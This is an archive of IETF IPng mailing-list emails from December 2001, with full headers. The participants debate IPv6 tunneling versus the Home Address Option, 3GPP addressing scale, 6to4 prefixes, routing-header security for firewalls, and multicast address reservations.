sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBFqWr3021058 for ipng-dist; Tue, 11 Dec 2001 07:52:32 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBFqRvU021051 for ; Tue, 11 Dec 2001 07:52:28 -0800 (PST) Received: from lillen (vpn133-11.EBay.Sun.COM [129.150.133.11]) by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fBBFqGq17079; Tue, 11 Dec 2001 16:52:16 +0100 (MET) Date: Tue, 11 Dec 2001 16:50:32 +0100 (CET) From: Erik Nordmark Reply-To: Erik Nordmark Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt To: "T.J. Kniveton" Cc: Erik Nordmark , "Jari T. Malinen" , ipng@sunroof.eng.sun.com In-Reply-To: "Your message with ID" <3C15A2C9.79B3969B@Kniveton.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > > One of the disadvantages of working on a draft for 5-6 years is that > > the world might have changed around you. > > Assuming that the new world will take one step back, one to the side, > > and one step forward to use the new approach about to become a proposed > > standard when there already is a well-understood and deployed mechanism > > seems a bit odd to me. > > Well I have had an awful time trying to reply to this due to weirdness > with my wireless connection and sendmail, but let me paraphrase myself > and try sending again; maybe the 10th time is a charm... > > > I am not sure how silly your answer is supposed to be, but I am stuck on > thinking about how we should interact with a changed world in this case. > There is some conversation about replacing HAO with a nascent proposal > which is based upon using tunelling, which you said is about to become a > proposed standard. Ah - sorry for not being more clear. The "new approach about to become a proposed standard" is, from the perspectives of the IETF at large, something called Mobile IPv6. The well-understood and deployed mechanism (for MIPV4, IPsec, etc) is IP-in-IP tunneling. Does that change things? Erik > This means that the solution might "make sense" in > this changed world -- but one could come up with another alternative > based on other standards, it is just a matter of the lingua franca used > to describe mechanisms to achieve the same goal. The questions, as I > understand them, are really (a) is HAO broken enough that we need to > remove and/or replace it? and if so, (b) is the tuneling proposal a > suitable replacement? > > There seems to be some disagreement about (a), but even assuming (a) for > the sake of argument.. people have so far refuted the relative > advantages of (b), other than the one in your answer: because it is > based on a proposed standard. It seems the security and anonymity > advantages are in question. At least insofar as the proposal might > relate to work in the Mobile IP group. > > There are many examples of protocols that exist in today's changed > world, and still do just fine. The discussions about Mobile IPv6 have > certainly included considerations about what has changed in the last 5 > years. But they are based on technical merits as well -- in my own > opinion, there doesn't seem to be anything that's come along that has a > clear superiority *and* serves the same purpose of the HAO, so it is > just as legitimate now as it was 5 years ago (hence you know where I > stand on (a)). > > > Well maybe you can tell me now how serious your answer was. And if I am > still trying to figure it out, perhaps the joke is on me... > > -TJ > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 07:56:01 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBFu1vU021095 for ; Tue, 11 Dec 2001 07:56:01 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBFu1aZ021094 for ipng-dist; Tue, 11 Dec 2001 07:56:01 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBFtuvU021087 for ; Tue, 11 Dec 2001 07:55:56 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA05231 for ; Tue, 11 Dec 2001 07:55:55 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA10619 for ; Tue, 11 Dec 2001 08:55:54 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id QAA08158; Tue, 11 Dec 2001 16:55:52 +0100 Received: from gsine01.us.sine.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA40928 from ; Tue, 11 Dec 2001 16:55:50 +0100 Message-Id: <3C162C80.1A699E6@hursley.ibm.com> Date: Tue, 11 Dec 2001 16:55:44 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Laurent.Thiebaut@alcatel.fr Cc: ipng@sunroof.eng.sun.com Subject: Re: Feedback from 3GPP about draft-wasserman References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Laurent, 6to4 was not designed for "sites" containing tens of millions of hosts. With those numbers you surely need native addressing. I was addressing Juan-Antonio's question about 6to4. Regards Brian Laurent.Thiebaut@alcatel.fr wrote: > > Considering that > - a mobile operator may have up to 15-20 M subscribers (e.g. in Medium size country such as European countries) ... or.. 35M subscribers or more (considering bigger countries as...China) > - each user attached to IMS (3gpp sip services) has got an IPV6 @ > - although Not 100% of the users have simultaneously switched on their mobile, we have to take some busy hour worst case > you may end-up with 20-30M or more IPV6 @ per on the APN used by mobiles to reach IMS services of the operator > > As > - the number of GGSN has to be limited to something reasonable (that obviously is related to technology capability) > - we have to consider an addressing scheme that copes with foreseenable technological improvements on the GGSN capabilities > a rough estimate of the number of IPV6 @ a GGSN should handle on this APN should be between 500K and 1M. > Best regards > Laurent T. > --------------------------------------------------------------------------- > V Laurent Thiebaut tel: +33 (0)1 3077 0645 > A L C A T E L e.mail:laurent.thiebaut@alcatel.fr > --------------------------------------------------------------------------- > > Brian E Carpenter on 10/12/2001 19:47:17 > > > > To: Juan-Antonio Ibanez > > > cc: ipng@sunroof.eng.sun.com(bcc: Laurent > THIEBAUT/FR/ALCATEL) > > > > Subject: Re: Feedback from 3GPP about draft-wasserman > > > Juan-Antonio Ibanez wrote: > ... > > 2) Would the /64 prefix allocation preclude the use of the 6to4 > > transition mechanism in 3GPP? > > 6to4 relies on a /48 prefix, meaning that only 64k mobile nodes (or > > rather "primary" PDP contexts) would be allowed on a given APN that > > supports 6to4. > > Are you assuming that the APN has exactly one globally routable IPv4 > address? If so, it can only own one 6to4 /48 prefix, i.e. 64k /64s > as you say. But if the APN has 2 IPv4 addresses, it can have two > 6to4 prefixes, etc. > > What is the realistic requirement for the number of primary PDP > contexts per APN? > > Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 07:57:48 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBFvmvU021157 for ; Tue, 11 Dec 2001 07:57:48 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBFvmRj021156 for ipng-dist; Tue, 11 Dec 2001 07:57:48 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBFvivU021146 for ; Tue, 11 Dec 2001 07:57:44 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA28278 for ; Tue, 11 Dec 2001 07:57:44 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA28337 for ; Tue, 11 Dec 2001 08:57:25 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBBFvVT08764; Tue, 11 Dec 2001 17:57:31 +0200 Date: Tue, 11 Dec 2001 17:57:31 +0200 (EET) From: Pekka Savola To: Erik Nordmark cc: "Jari T. Malinen" , Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I'll try to discuss most points in this thread here.. On Tue, 11 Dec 2001, Erik Nordmark wrote: > > So to get more clarity, is the localization (to the firewall) of > > controlling the use of routing header something that you find necessary? > > I honestly don't know. > Pekka brought up the issue - perhaps he can comment? > > The background for this was that allowing generic use of routing headers > is dangerous and is something that firewalls might block. > But I don't fully understand the severity of allowing general use of routing > headers - it does allow a DoS attacker to hide a bit since it could be > present at any previous hop in the routing header. This is an issue that came up after I wrote a draft on 6to4 security. It frustrated me a great deal that IPv6-in-IPv4 tunneling with the same protocol number 41 could be used for various things: 1. configured tunneling 2. automatic tunneling 2.1 automatic tunneling with compatible addresses 2.2 6to4 2.3 ISATAP (more to come?) If any two of 2.x are used in the same node, it's impossible to distinguish and create complete security rules for more than one of them simultaneously.. because protocol 41 has been overloaded. The rules can't really be made in the firewall (without encapsulation support etc.), but they can't really be made on the end-nodes either. Thus, this is even worse issue than here. With RH, we still have a choice for both. Sure, it's easy to make it work this way... I'd like to avoid this kind of overloading ("because it's easy to do it like that") if we can. I'd rather not repeat the same issues with automatic tunneling with routing headers in a few years. However, I don't see this "distinguishability" as a MUST as long as: 1) MIPv6 MUST NOT require all processing of routing headers be enabled in MN's 2) MIPv6 MUST require a special case for routing header processing that is sufficiently secure. 3)IPv6 SHOULD/MUST state (given 1,2) that nodes SHOULD NOT/MUST NOT enable routing header processing on hosts by default ( one could argue that currently, RFC2460 requires they must be processed [due to MIPv6] -- not all share my interpretation on this ) That is, if we can say quickly enough "routing headers cannot harm your hosts!" they might not be taken as a security threat, and distinguishability would not be required. ... But really, IMO the tougher issue is how HAO will/should be handled. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 08:05:00 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBG50vU021310 for ; Tue, 11 Dec 2001 08:05:00 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBG50NF021309 for ipng-dist; Tue, 11 Dec 2001 08:05:00 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBG4vvU021302 for ; Tue, 11 Dec 2001 08:04:57 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA04189 for ; Tue, 11 Dec 2001 08:04:57 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA04792 for ; Tue, 11 Dec 2001 09:04:38 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBBG4nN08837; Tue, 11 Dec 2001 18:04:49 +0200 Date: Tue, 11 Dec 2001 18:04:49 +0200 (EET) From: Pekka Savola To: Francis Dupont cc: Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt In-Reply-To: <200112110446.fBB4kAD20070@givry.rennes.enst-bretagne.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Tue, 11 Dec 2001, Francis Dupont wrote: > In your previous mail you wrote: > > Firewall cannot know this without keeping state, as discussed in my draft > (and with you :-). > > => the state can be kept by the network access control system (which > cannot be stateless). And stateful firewalls are strictly more powerful > than stateless firewalls (this is not free of course). If the state is outsourced but changes rapidly, this is IMO a still stateful firewall.. and we cannot rely on the existance of AAA, I think. > IMO, I greatly dislike stateful firewalls. They're one of the breakers of > e2e. > > => I dislike all firewalls, but this problem is a threat against > ingress filtering so an ingress filtering solution is better. This is a problem that affects all filtering, not just ingress (for source address). > PS: ingress filtering is not require, this is only a BCP. > There is no reason to be stricter. Filtering is a reality that is here to stay. In the hostile world, we cannot deny or ignore that. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 08:11:33 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBGBXvU021382 for ; Tue, 11 Dec 2001 08:11:33 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBGBXKm021381 for ipng-dist; Tue, 11 Dec 2001 08:11:33 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBGBTvU021371 for ; Tue, 11 Dec 2001 08:11:29 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA07352 for ; Tue, 11 Dec 2001 08:11:29 -0800 (PST) Received: from zrc2s0jx.nortelnetworks.com (zrc2s0jx.nortelnetworks.com [47.103.122.112]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA22823 for ; Tue, 11 Dec 2001 08:11:29 -0800 (PST) Received: from zrchb200.us.nortel.com (zrchb200.us.nortel.com [47.103.121.45]) by zrc2s0jx.nortelnetworks.com (Switch-2.2.0/Switch-2.2.0) with ESMTP id fBBGBPB28985; Tue, 11 Dec 2001 10:11:26 -0600 (CST) Received: by zrchb200.us.nortel.com with Internet Mail Service (5.5.2653.19) id ; Tue, 11 Dec 2001 10:10:14 -0600 Message-ID: <933FADF5E673D411B8A30002A5608A0E0122398D@zrc2c012.us.nortel.com> From: "Glenn Morrow" To: Erik Nordmark , "Jari T. Malinen" Cc: ipng@sunroof.eng.sun.com Subject: RE: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt Date: Tue, 11 Dec 2001 10:10:31 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C1825E.5BA3E950" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C1825E.5BA3E950 Content-Type: text/plain; charset="iso-8859-1" I know this hasn't come up yet - but isn't it easier to implement fast-path tunneling than it is to implement fast-path tunneling with routing headers just because of the placement of the addressing information in the PDUs. Routing headers are fine for slow path signaling but probably not for fast-path operations. Encapsulation can be accomplished with simple pointer manipulation on packets. Routing headers require some block moves. Isn't that the real reason why this ID is here? Why don't people just come out and say it? My2cents, Glenn ------_=_NextPart_001_01C1825E.5BA3E950 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: I-D = ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt

I know this hasn't come up yet - but isn't it easier = to implement fast-path tunneling than it is to implement fast-path = tunneling with routing headers just because of the placement of the = addressing information in the PDUs.  Routing headers are fine for = slow path signaling but probably not for fast-path operations. = Encapsulation can be accomplished with simple pointer manipulation on = packets. Routing headers require some block moves. Isn't that the real = reason why this ID is here? Why don't people just come out and say = it?

My2cents,

Glenn

------_=_NextPart_001_01C1825E.5BA3E950-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 09:32:37 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBHWavU022043 for ; Tue, 11 Dec 2001 09:32:37 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBHWaUs022042 for ipng-dist; Tue, 11 Dec 2001 09:32:36 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBHWXvU022035; Tue, 11 Dec 2001 09:32:33 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA08086; Tue, 11 Dec 2001 09:32:34 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA05733; Tue, 11 Dec 2001 10:32:19 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id SAA13450; Tue, 11 Dec 2001 18:32:17 +0100 Received: from gsine04.us.sine.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA26980 from ; Tue, 11 Dec 2001 18:32:12 +0100 Message-Id: <3C1638A5.DFA27DC2@hursley.ibm.com> Date: Tue, 11 Dec 2001 17:47:33 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Pekka Savola Cc: Tony Hain , Sreeram Vankadari , ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com Subject: 6to4 security [was Re: (ngtrans) RE: Directed broadcast in IPv6] References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka Savola wrote: ... > > > http://www.ietf.org/internet-drafts/draft-savola-ngtrans-6to4-security-00.txt > > > > (by the way, comments would be welcome ;-) ... > > > Your discussion about what should not happen are already in RFC 3056 > > security issues. > > Some are, some aren't. But the main point was, that RFC 3056 rules were a > little abstract (and as a matter of fact, wrong in one sentence), so that > they were basically unimplementable and rather non-understandable. This > is noted in the introduction. There's no harm in an informational document making the RFC 3056 security rules more explicit, although the details are certainly implementation dependent. However, I can't find in your draft a clear reference to the sentence in 3056 that you believe is wrong. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 09:35:41 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBHZevU022084 for ; Tue, 11 Dec 2001 09:35:40 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBHZe4X022083 for ipng-dist; Tue, 11 Dec 2001 09:35:40 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBHZbvU022076; Tue, 11 Dec 2001 09:35:37 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA08777; Tue, 11 Dec 2001 09:35:38 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA07080; Tue, 11 Dec 2001 10:35:34 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id SAA13448; Tue, 11 Dec 2001 18:32:10 +0100 Received: from gsine04.us.sine.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA48116 from ; Tue, 11 Dec 2001 18:32:01 +0100 Message-Id: <3C1636D8.1053C4F0@hursley.ibm.com> Date: Tue, 11 Dec 2001 17:39:52 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Pekka Savola Cc: Tony Hain , Sreeram Vankadari , ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com Subject: 6to4 aware host [was Re: (ngtrans) RE: Directed broadcast in IPv6] References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka Savola wrote: ... > Why would a host have any reason to be 6to4 aware? I sure would like to > know more of this. AFAICS that implementation wouldn't be honouring RFC > 3056 definition of 6to4 host: > > an IPv6 host which happens to have at least one 6to4 address. > In all other respects it is a standard IPv6 host. > A host that includes a router (or router-like functionality) can perfectly well behave like a 6to4 router as far as the outside world is concerned. "6to4 aware host" is really a shorthand for this. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 09:42:46 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBHgkvU022157 for ; Tue, 11 Dec 2001 09:42:46 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBHgkA3022156 for ipng-dist; Tue, 11 Dec 2001 09:42:46 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBHgdvU022141; Tue, 11 Dec 2001 09:42:39 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA28415; Tue, 11 Dec 2001 09:42:40 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA00671; Tue, 11 Dec 2001 10:42:15 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBBHgHv09637; Tue, 11 Dec 2001 19:42:17 +0200 Date: Tue, 11 Dec 2001 19:42:16 +0200 (EET) From: Pekka Savola To: Brian E Carpenter cc: Tony Hain , Sreeram Vankadari , , Subject: Re: 6to4 aware host [was Re: (ngtrans) RE: Directed broadcast in IPv6] In-Reply-To: <3C1636D8.1053C4F0@hursley.ibm.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Tue, 11 Dec 2001, Brian E Carpenter wrote: > Pekka Savola wrote: > ... > > Why would a host have any reason to be 6to4 aware? I sure would like to > > know more of this. AFAICS that implementation wouldn't be honouring RFC > > 3056 definition of 6to4 host: > > > > an IPv6 host which happens to have at least one 6to4 address. > > In all other respects it is a standard IPv6 host. > > > > A host that includes a router (or router-like functionality) can perfectly > well behave like a 6to4 router as far as the outside world is concerned. "6to4 > aware host" is really a shorthand for this. Ah ok, 6to4 routers are also 6to4 hosts by definition then. IMO, an inprecise definition. (yeah, probably most "6to4 hosts" on dialup etc. are really 6to4 routers) -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 09:43:49 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBHhmvU022201 for ; Tue, 11 Dec 2001 09:43:49 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBHhm29022200 for ipng-dist; Tue, 11 Dec 2001 09:43:48 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBHhivU022191; Tue, 11 Dec 2001 09:43:45 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA29081; Tue, 11 Dec 2001 09:43:41 -0800 (PST) Received: from smtp.tndh.net (evrtwa1-ar8-4-60-069-141.vz.dsl.gtei.net [4.60.69.141]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA21505; Tue, 11 Dec 2001 09:43:40 -0800 (PST) Received: by smtp.tndh.net from localhost (router,SLMail V3.2); Tue, 11 Dec 2001 09:43:09 -0800 Received: from eagleswings [127.0.0.1] by smtp.tndh.net [4.60.68.77] (SLmail 3.2.3113) with SMTP id 9DE738B6522E4DEE8A87446E2B984165 for plus 3 more; Tue, 11 Dec 2001 09:43:09 -0800 From: "Tony Hain" To: "Pekka Savola" Cc: "Sreeram Vankadari" , , Subject: RE: Directed broadcast in IPv6 Date: Tue, 11 Dec 2001 09:42:24 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal In-Reply-To: X-SLUIDL: 65C727C9-388F425F-93108874-7BB4272B Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka Savola wrote: > New addrarch draft says ff0e::/16 is global-scope. Where? What I see on page 16 is: Reserved Multicast Addresses: FF00:0:0:0:0:0:0:0 ... FF0E:0:0:0:0:0:0:0 FF0F:0:0:0:0:0:0:0 The above multicast addresses are reserved and shall never be assigned to any multicast group. > I took this as an example of delivering packets to an IPv6 > node when it > might not be possible to do so 